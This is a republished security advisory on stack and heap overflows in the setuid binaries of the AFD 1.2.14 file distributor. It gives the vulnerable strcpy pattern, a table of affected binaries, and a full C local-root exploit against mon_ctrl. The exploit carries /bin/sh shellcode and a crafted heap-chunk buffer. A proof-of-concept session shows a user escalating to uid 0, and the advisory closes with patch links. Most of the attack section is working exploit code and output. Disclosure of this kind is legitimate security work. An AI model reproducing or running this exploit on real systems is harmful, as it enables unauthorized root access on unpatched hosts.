|
COMMAND AFD multiple local root exploits via stack and heap overflows SYSTEMS AFFECTED this vulnerability was discovered in the AFD 1.2.14 package but previous versions are probably vulnerable too. version vulnerable exploitable * Linux 1.3.x - 2.4.x YES YES * Solaris 2.x probably (not tested) probably (not tested) * HP-UX 10.x - 11.x probably (not tested) probably (not tested) * IRIX 5.3 6.x probably (not tested) probably (not tested) * AIX 4.3 probably (not tested) probably (not tested) * FTX 3.0.x 3.2.x probably (not tested) probably (not tested) * SCO OpenServer Release 5 probably (not tested) probably (not tested) PROBLEM In Netric Security Team - http://www.netric.[org|be] advisory by Netric : Description The Automatic File Distributor provides a framework for very flexible, non-stop, log and debug-able delivery of an arbitrary amount of files to multiple recipients as expressed in URLs. The AFD package comes with a few sources that once compiled and installed are set uid root by default. amough other vulnerabilities, in the beginning of most of these programs a directory is needed. it can be supplied with a command line switch (-w) or an environ variable. the exploitable code for most looks like : #define MON_WD_ENV_NAME "MON_WORK_DIR" /* Environment variable */ #define WD_ENV_NAME "AFD_WORK_DIR" /* The working dir- */ ... /* work_dir is global in some sources, local in other sources */ char work_dir[MAX_PATH_LENGTH]; ... int main(int argc, char *argv[]) { ... /* work_dir is global in some sources, local in other sources */ char work_dir[MAX_PATH_LENGTH]; ... /* might call some other function that then calls this function */ if (get_XXX_path(&argc, argv, work_dir) < 0) { exit(INCORRECT); } ... } /* the XXX is either 'mon' or 'afd' */ /* this function is in another file then main() is */ get_XXX_path(int *argc, char *argv[], char *work_dir) { ... char *ptr; /* Check if the environment variable is set */ /* if ((ptr = getenv(MON_WD_ENV_NAME)) != NULL) <-- can also be this */ if ((ptr = getenv(WD_ENV_NAME)) != NULL) { /* !!!!! THIS IS WHERE ALL THE ACTION TAKES PLACE !!!!! */ (void)strcpy(work_dir, ptr); } ... } as you can see the buffer work_dir gets overflowed, and a stack or heap overflow occurs (depends if work_dir is global or local). With some of the binarys it's possible to cause the same overflow with the command line switch -w, but in other binarys that length gets checked. the following is a listing of the vulnerable suid binarys, and if they are exploitable with the environ varibles and/or the -w command line switch : name -w switch env. var afd NO YES afdcmd NO YES afd_ctrl NO YES init_afd NO YES mafd YES YES mon_ctrl YES YES show_olog NO YES udc NO YES Exploit The following exploit was tested in a lab and will probably not work without any tweaking. it was tested agains mon_ctrl in the AFD 1.2.14 package on redhat 7.3. /* AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org) * (Bug found by Sacrine (sacrine@netric.org) * ----------------------------------------------------------------- * usage: ./afd-expl [retloc] [ret] * * This exploit overwrites a saved return address on the stack, * so that 0xbfffe360, (that worked for me on Redhat 7.3) will * probally not work for you... * * Just open the coredump, search the stack for 0x4207ac24, * and substract that address with 0x0c. */ #include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[] = "\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh; exit(0); */ "--netric--" "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d" "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; int main(int argc, char *argv[]) { char buffer[1135]; unsigned int retloc = 0xbfffe360; unsigned int ret = 0x0806f020; /* &shellcode */ if (argc > 1) retloc = strtoul(argv[1], &argv[1], 16); if (argc > 2) ret = strtoul(argv[2], &argv[2], 16); memset(buffer, 0x41, sizeof(buffer)); memcpy(buffer, "MON_WORK_DIR=",13); memcpy(buffer+13, shellcode, strlen(shellcode)); buffer[1117] = 0xff; /* prev_size */ buffer[1118] = 0xff; buffer[1119] = 0xff; buffer[1120] = 0xff; buffer[1121] = 0xfc; /* size field */ buffer[1122] = 0xff; buffer[1123] = 0xff; buffer[1124] = 0xff; buffer[1126] = (retloc & 0x000000ff); /* FD */ buffer[1127] = (retloc & 0x0000ff00) >> 8; buffer[1128] = (retloc & 0x00ff0000) >> 16; buffer[1129] = (retloc & 0xff000000) >> 24; buffer[1130] = (ret & 0x000000ff); /* BK */ buffer[1131] = (ret & 0x0000ff00) >> 8; buffer[1132] = (ret & 0x00ff0000) >> 16; buffer[1133] = (ret & 0xff000000) >> 24; buffer[1134] = 0x0; putenv(buffer); fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)\n"); fprintf(stdout, "-----------------------------------------------------------------\n"); fprintf(stdout, "Ret = 0x%08x\n", ret); fprintf(stdout, "Retloc = 0x%08x\n", retloc); execl("/bin/mon_ctrl", "mon_ctrl", NULL); return 0; } Proof of concept [eSDee@/ bin]$ id uid=502(eSDee) gid=500(trusted) groups=500(trusted) [eSDee@/ bin]$ ./afd-expl AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org) ----------------------------------------------------------------- Ret = 0x0806f020 Retloc = 0xbfffe360 28 17:32:12 <E> Failed to create directory <ë --netric--1Û1É÷ã°FÍShn/shh//biãRSá° ÍAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA .... ectory (check_dir.c 66) sh-2.05a# id uid=0(root) gid=500(trusted) groups=500(trusted) sh-2.05a# exit SOLUTION There is a new version released of afd (1.2.15) which can be downloaded from : [source] ftp://ftp.dwd.de/pub/afd/src-1.2.15.tar.bz2 [rpm ] ftp://ftp.dwd.de/pub/afd/rpm/afd-1.2.15-2.i386.rpm there is also a patch released for version 1.2.14 which can be found on : [patch ] ftp://ftp.dwd.de/pub/afd/patch-1.2.15.bz2